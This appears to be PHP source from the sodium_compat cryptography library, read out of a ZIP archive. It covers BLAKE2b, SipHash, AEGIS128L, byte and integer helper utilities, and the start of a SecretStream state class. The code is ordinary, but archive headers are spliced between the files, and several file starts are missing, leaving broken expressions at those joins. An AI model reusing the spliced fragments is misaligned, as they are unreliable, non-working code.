$ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { $ctx[3][$i+$ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string * @throws TypeError */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array $arr */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array> $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $str .= self::store32_le($ctxA[$i][1]); $str .= self::store32_le($ctxA[$i][0]); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctxA = $ctx[$i]->toArray(); $str .= self::store32_le($ctxA[0][1]); $str .= self::store32_le($ctxA[0][0]); $str .= self::store32_le($ctxA[1][1]); $str .= self::store32_le($ctxA[1][0]); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = (int) $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = SplFixedArray::fromArray( array( self::load_4( self::substr($string, (($i << 3) + 4), 4) ), self::load_4( self::substr($string, (($i << 3) + 0), 4) ) ) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4)) ) ); $ctx[$i][0] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4)) ) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PK!]iu) ) src/Core/SipHash.phpnu[ */ public static function add(array $a, array $b) { /** @var int $x1 */ $x1 = $a[1] + $b[1]; /** @var int $c */ $c = $x1 >> 32; // Carry if ($a + $b) > 0xffffffff /** @var int $x0 */ $x0 = $a[0] + $b[0] + $c; return array( $x0 & 0xffffffff, $x1 & 0xffffffff ); } /** * @internal You should not use this directly from another application * * @param int $int0 * @param int $int1 * @param int $c * @return array */ public static function rotl_64($int0, $int1, $c) { $int0 &= 0xffffffff; $int1 &= 0xffffffff; $c &= 63; if ($c === 32) { return array($int1, $int0); } if ($c > 31) { $tmp = $int1; $int1 = $int0; $int0 = $tmp; $c &= 31; } if ($c === 0) { return array($int0, $int1); } return array( 0xffffffff & ( ($int0 << $c) | ($int1 >> (32 - $c)) ), 0xffffffff & ( ($int1 << $c) | ($int0 >> (32 - $c)) ), ); } /** * Implements Siphash-2-4 using only 32-bit numbers. * * When we split an int into two, the higher bits go to the lower index. * e.g. 0xDEADBEEFAB10C92D becomes [ * 0 => 0xDEADBEEF, * 1 => 0xAB10C92D * ]. * * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( 0x736f6d65, // 0 0x70736575, // 1 0x646f7261, // 2 0x6e646f6d, // 3 0x6c796765, // 4 0x6e657261, // 5 0x74656462, // 6 0x79746573 // 7 ); // v0 => $v[0], $v[1] // v1 => $v[2], $v[3] // v2 => $v[4], $v[5] // v3 => $v[6], $v[7] # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( self::load_4(self::substr($key, 4, 4)), self::load_4(self::substr($key, 0, 4)), self::load_4(self::substr($key, 12, 4)), self::load_4(self::substr($key, 8, 4)) ); // k0 => $k[0], $k[1] // k1 => $k[2], $k[3] # b = ( ( u64 )inlen ) << 56; $b = array( $inlen << 24, 0 ); // See docblock for why the 0th index gets the higher bits. # v3 ^= k1; $v[6] ^= $k[2]; $v[7] ^= $k[3]; # v2 ^= k0; $v[4] ^= $k[0]; $v[5] ^= $k[1]; # v1 ^= k1; $v[2] ^= $k[2]; $v[3] ^= $k[3]; # v0 ^= k0; $v[0] ^= $k[0]; $v[1] ^= $k[1]; $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = array( self::load_4(self::substr($in, 4, 4)), self::load_4(self::substr($in, 0, 4)) ); # v3 ^= m; $v[6] ^= $m[0]; $v[7] ^= $m[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] ^= $m[0]; $v[1] ^= $m[1]; $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b[0] |= self::chrToInt($in[6]) << 16; case 6: $b[0] |= self::chrToInt($in[5]) << 8; case 5: $b[0] |= self::chrToInt($in[4]); case 4: $b[1] |= self::chrToInt($in[3]) << 24; case 3: $b[1] |= self::chrToInt($in[2]) << 16; case 2: $b[1] |= self::chrToInt($in[1]) << 8; case 1: $b[1] |= self::chrToInt($in[0]); case 0: break; } // See docblock for why the 0th index gets the higher bits. # v3 ^= b; $v[6] ^= $b[0]; $v[7] ^= $b[1]; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] ^= $b[0]; $v[1] ^= $b[1]; // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[5] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) . self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]); } } PK!z-y9TTsrc/Core/AEGIS128L.phpnu[> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 31; $ct_blocks = self::strlen($ct) >> 5; for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 5, 32)); } if ($cn) { $start = $ct_blocks << 5; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); // ad_blocks = Split(ZeroPad(ad, 256), 256) // for ai in ad_blocks: // Absorb(ai) $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 31) >> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } // msg_blocks = Split(ZeroPad(msg, 256), 256) // for xi in msg_blocks: // ct = ct || Enc(xi) $ct = ''; $msg_blocks = ($msg_len + 31) >> 5; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 5, 32); if (self::strlen($xi) < 32) { $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } // tag = Finalize(|ad|, |msg|) // ct = Truncate(ct, |msg|) $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); // return ct and tag return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State128L */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce); } } PK!75-ppsrc/Core/Util.phpnu[> $size) & 1); return (int) ( ($integer ^ $negative) + (($negative >> $realSize) & 1) ); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function andStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } $len = self::strlen($a); if (self::strlen($b) !== $len) { throw new SodiumException('Both strings must be of equal length to combine with bitwise AND'); } return $a & $b; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $binaryString (raw binary) * @return string * @throws TypeError */ public static function bin2hex($binaryString) { /* Type checks: */ if (!is_string($binaryString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.'); } $hex = ''; $len = self::strlen($binaryString); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $binaryString[$i]); /** @var int $c */ $c = $chunk[1] & 0xf; /** @var int $b */ $b = $chunk[1] >> 4; $hex .= pack( 'CC', (87 + $b + ((($b - 10) >> 8) & ~38)), (87 + $c + ((($c - 10) >> 8) & ~38)) ); } return $hex; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks, returning uppercase letters (as per RFC 4648) * * @internal You should not use this directly from another application * * @param string $bin_string (raw binary) * @return string * @throws TypeError */ public static function bin2hexUpper($bin_string) { $hex = ''; $len = self::strlen($bin_string); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $bin_string[$i]); /** * Lower 16 bits * * @var int $c */ $c = $chunk[1] & 0xf; /** * Upper 16 bits * @var int $b */ $b = $chunk[1] >> 4; /** * Use pack() and binary operators to turn the two integers * into hexadecimal characters. We don't use chr() here, because * it uses a lookup table internally and we want to avoid * cache-timing side-channels. */ $hex .= pack( 'CC', (55 + $b + ((($b - 10) >> 8) & ~6)), (55 + $c + ((($c - 10) >> 8) & ~6)) ); } return $hex; } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param string $chr * @return int * @throws SodiumException * @throws TypeError */ public static function chrToInt($chr) { /* Type checks: */ if (!is_string($chr)) { throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.'); } if (self::strlen($chr) !== 1) { throw new SodiumException('chrToInt() expects a string that is exactly 1 character long'); } /** @var array $chunk */ $chunk = unpack('C', $chr); return (int) ($chunk[1]); } /** * Compares two strings. * * @internal You should not use this directly from another application * * @param string $left * @param string $right * @param int $len * @return int * @throws SodiumException * @throws TypeError */ public static function compare($left, $right, $len = null) { $leftLen = self::strlen($left); $rightLen = self::strlen($right); if ($len === null) { $len = max($leftLen, $rightLen); $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT); $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT); } elseif ($leftLen !== $rightLen) { throw new SodiumException("Argument #1 and argument #2 must have the same length"); } $gt = 0; $eq = 1; $i = $len; while ($i !== 0) { --$i; $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq; $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8; } return ($gt + $gt + $eq) - 1; } /** * If a variable does not match a given type, throw a TypeError. * * @param mixed $mixedVar * @param string $type * @param int $argumentIndex * @throws TypeError * @throws SodiumException * @return void */ public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0) { if (func_num_args() === 0) { /* Tautology, by default */ return; } if (func_num_args() === 1) { throw new TypeError('Declared void, but passed a variable'); } $realType = strtolower(gettype($mixedVar)); $type = strtolower($type); switch ($type) { case 'null': if ($mixedVar !== null) { throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.'); } break; case 'integer': case 'int': $allow = array('int', 'integer'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.'); } $mixedVar = (int) $mixedVar; break; case 'boolean': case 'bool': $allow = array('bool', 'boolean'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.'); } $mixedVar = (bool) $mixedVar; break; case 'string': if (!is_string($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.'); } $mixedVar = (string) $mixedVar; break; case 'decimal': case 'double': case 'float': $allow = array('decimal', 'double', 'float'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.'); } $mixedVar = (float) $mixedVar; break; case 'object': if (!is_object($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.'); } break; case 'array': if (!is_array($mixedVar)) { if (is_object($mixedVar)) { if ($mixedVar instanceof ArrayAccess) { return; } } throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.'); } break; default: throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')'); } } /** * Evaluate whether or not two strings are equal (in constant-time) * * @param string $left * @param string $right * @return bool * @throws SodiumException * @throws TypeError */ public static function hashEquals($left, $right) { /* Type checks: */ if (!is_string($left)) { throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.'); } if (!is_string($right)) { throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.'); } if (is_callable('hash_equals')) { return hash_equals($left, $right); } $d = 0; /** @var int $len */ $len = self::strlen($left); if ($len !== self::strlen($right)) { return false; } for ($i = 0; $i < $len; ++$i) { $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]); } if ($d !== 0) { return false; } return $left === $right; } /** * Catch hash_update() failures and throw instead of silently proceeding * * @param HashContext|resource &$hs * @param string $data * @return void * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument */ protected static function hash_update(&$hs, $data) { if (!hash_update($hs, $data)) { throw new SodiumException('hash_update() failed'); } } /** * Convert a hexadecimal string into a binary string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $hexString * @param string $ignore * @param bool $strictPadding * @return string (raw binary) * * @throws SodiumException * @throws TypeError */ public static function hex2bin($hexString, $ignore = '', $strictPadding = false) { /* Type checks: */ if (!is_string($hexString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.'); } if (!is_string($ignore)) { throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.'); } $hex_pos = 0; $bin = ''; $c_acc = 0; $hex_len = self::strlen($hexString); $state = 0; $chunk = unpack('C*', $hexString); while ($hex_pos < $hex_len) { ++$hex_pos; /** @var int $c */ $c = $chunk[$hex_pos]; $c_num = $c ^ 48; $c_num0 = ($c_num - 10) >> 8; $c_alpha = ($c & ~32) - 55; $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8; if (($c_num0 | $c_alpha0) === 0) { if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) { continue; } throw new RangeException( 'hex2bin() only expects hexadecimal characters' ); } $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0); if ($state === 0) { $c_acc = $c_val * 16; } else { $bin .= pack('C', $c_acc | $c_val); } $state ^= 1; } if ($strictPadding && $state !== 0) { throw new SodiumException( 'Expected an even number of hexadecimal characters' ); } return $bin; } /** * Turn an array of integers into a string * * @internal You should not use this directly from another application * * @param array $ints * @return string */ public static function intArrayToString(array $ints) { $args = $ints; foreach ($args as $i => $v) { $args[$i] = (int) ($v & 0xff); } array_unshift($args, str_repeat('C', count($ints))); return (string) (call_user_func_array('pack', $args)); } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function intToChr($int) { return pack('C', $int); } /** * Load a 3 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_3($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 3) { throw new RangeException( 'String must be 3 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string . "\0"); return (int) ($unpacked[1] & 0xffffff); } /** * Load a 4 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_4($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string); return (int) $unpacked[1]; } /** * Load a 8 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function load64_le($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) { /** @var array $unpacked */ $unpacked = unpack('P', $string); return (int) $unpacked[1]; } /** @var int $result */ $result = (self::chrToInt($string[0]) & 0xff); $result |= (self::chrToInt($string[1]) & 0xff) << 8; $result |= (self::chrToInt($string[2]) & 0xff) << 16; $result |= (self::chrToInt($string[3]) & 0xff) << 24; $result |= (self::chrToInt($string[4]) & 0xff) << 32; $result |= (self::chrToInt($string[5]) & 0xff) << 40; $result |= (self::chrToInt($string[6]) & 0xff) << 48; $result |= (self::chrToInt($string[7]) & 0xff) << 56; return (int) $result; } /** * @internal You should not use this directly from another application * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError */ public static function memcmp($left, $right) { $e = (int) !self::hashEquals($left, $right); return 0 - $e; } /** * Multiply two integers in constant-time * * Micro-architecture timing side-channels caused by how your CPU * implements multiplication are best prevented by never using the * multiplication operators and ensuring that our code always takes * the same number of operations to complete, regardless of the values * of $a and $b. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $size Limits the number of operations (useful for small, * constant operands) * @return int */ public static function mul($a, $b, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return (int) ($a * $b); } static $defaultSize = null; /** @var int $defaultSize */ if (!$defaultSize) { /** @var int $defaultSize */ $defaultSize = (PHP_INT_SIZE << 3) - 1; } if ($size < 1) { /** @var int $size */ $size = $defaultSize; } /** @var int $size */ $c = 0; /** * Mask is either -1 or 0. * * -1 in binary looks like 0x1111 ... 1111 * 0 in binary looks like 0x0000 ... 0000 * * @var int */ $mask = -(($b >> ((int) $defaultSize)) & 1); /** * Ensure $b is a positive integer, without creating * a branching side-channel * * @var int $b */ $b = ($b & ~$mask) | ($mask & -$b); /** * Unless $size is provided: * * This loop always runs 32 times when PHP_INT_SIZE is 4. * This loop always runs 64 times when PHP_INT_SIZE is 8. */ for ($i = $size; $i >= 0; --$i) { $c += (int) ($a & -($b & 1)); $a <<= 1; $b >>= 1; } $c = (int) @($c & -1); /** * If $b was negative, we then apply the same value to $c here. * It doesn't matter much if $a was negative; the $c += above would * have produced a negative integer to begin with. But a negative $b * makes $b >>= 1 never return 0, so we would end up with incorrect * results. * * The end result is what we'd expect from integer multiplication. */ return (int) (($c & ~$mask) | ($mask & -$c)); } /** * Convert any arbitrary numbers into two 32-bit integers that represent * a 64-bit integer. * * @internal You should not use this directly from another application * * @param int|float $num * @return array */ public static function numericTo64BitInteger($num) { $high = 0; /** @var int $low */ if (PHP_INT_SIZE === 4) { $low = (int) $num; } else { $low = $num & 0xffffffff; } if ((+(abs($num))) >= 1) { if ($num > 0) { /** @var int $high */ $high = min((+(floor($num/4294967296))), 4294967295); } else { /** @var int $high */ $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296)))); } } return array((int) $high, (int) $low); } /** * Store a 24-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_3($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return self::substr($packed, 1, 3); } /** * Store a 32-bit integer into a string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store32_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('V', $int); return $packed; } /** * Store a 32-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_4($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return $packed; } /** * Stores a 64-bit integer as an string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store64_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } if (PHP_INT_SIZE === 8) { if (PHP_VERSION_ID >= 50603) { /** @var string $packed */ $packed = pack('P', $int); return $packed; } return self::intToChr($int & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr(($int >> 32) & 0xff) . self::intToChr(($int >> 40) & 0xff) . self::intToChr(($int >> 48) & 0xff) . self::intToChr(($int >> 56) & 0xff); } if ($int > PHP_INT_MAX) { list($hiB, $int) = self::numericTo64BitInteger($int); } else { $hiB = 0; } return self::intToChr(($int ) & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr($hiB & 0xff) . self::intToChr(($hiB >> 8) & 0xff) . self::intToChr(($hiB >> 16) & 0xff) . self::intToChr(($hiB >> 24) & 0xff); } /** * Safe string length * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @return int * @throws TypeError */ public static function strlen($str) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } return (int) ( self::isMbStringOverride() ? mb_strlen($str, '8bit') : strlen($str) ); } /** * Turn a string into an array of integers * * @internal You should not use this directly from another application * * @param string $string * @return array * @throws TypeError */ public static function stringToIntArray($string) { if (!is_string($string)) { throw new TypeError('String expected'); } /** * @var array */ $values = array_values( unpack('C*', $string) ); return $values; } /** * Safe substring * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @param int $start * @param int $length * @return string * @throws TypeError */ public static function substr($str, $start = 0, $length = null) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } if ($length === 0) { return ''; } if (self::isMbStringOverride()) { if (PHP_VERSION_ID < 50400 && $length === null) { $length = self::strlen($str); } $sub = (string) mb_substr($str, $start, $length, '8bit'); } elseif ($length === null) { $sub = (string) substr($str, $start); } else { $sub = (string) substr($str, $start, $length); } if ($sub !== '') { return $sub; } return ''; } /** * Compare a 16-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_16($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 16), self::substr($b, 0, 16) ); } /** * Compare a 32-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_32($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 32), self::substr($b, 0, 32) ); } /** * Calculate $a ^ $b for two strings. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return string * @throws TypeError */ public static function xorStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } return (string) ($a ^ $b); } /** * Returns whether or not mbstring.func_overload is in effect. * * @internal You should not use this directly from another application * * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant * (for nuisance-free PHP 8 support) * * @return bool */ protected static function isMbStringOverride() { static $mbstring = null; if ($mbstring === null) { if (!defined('MB_OVERLOAD_STRING')) { $mbstring = false; return $mbstring; } $mbstring = extension_loaded('mbstring') && defined('MB_OVERLOAD_STRING') && ((int) (ini_get('mbstring.func_overload')) & 2); // MB_OVERLOAD_STRING === 2 } /** @var bool $mbstring */ return $mbstring; } } PK!"((src/Core/SecretStream/State.phpnu[key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", 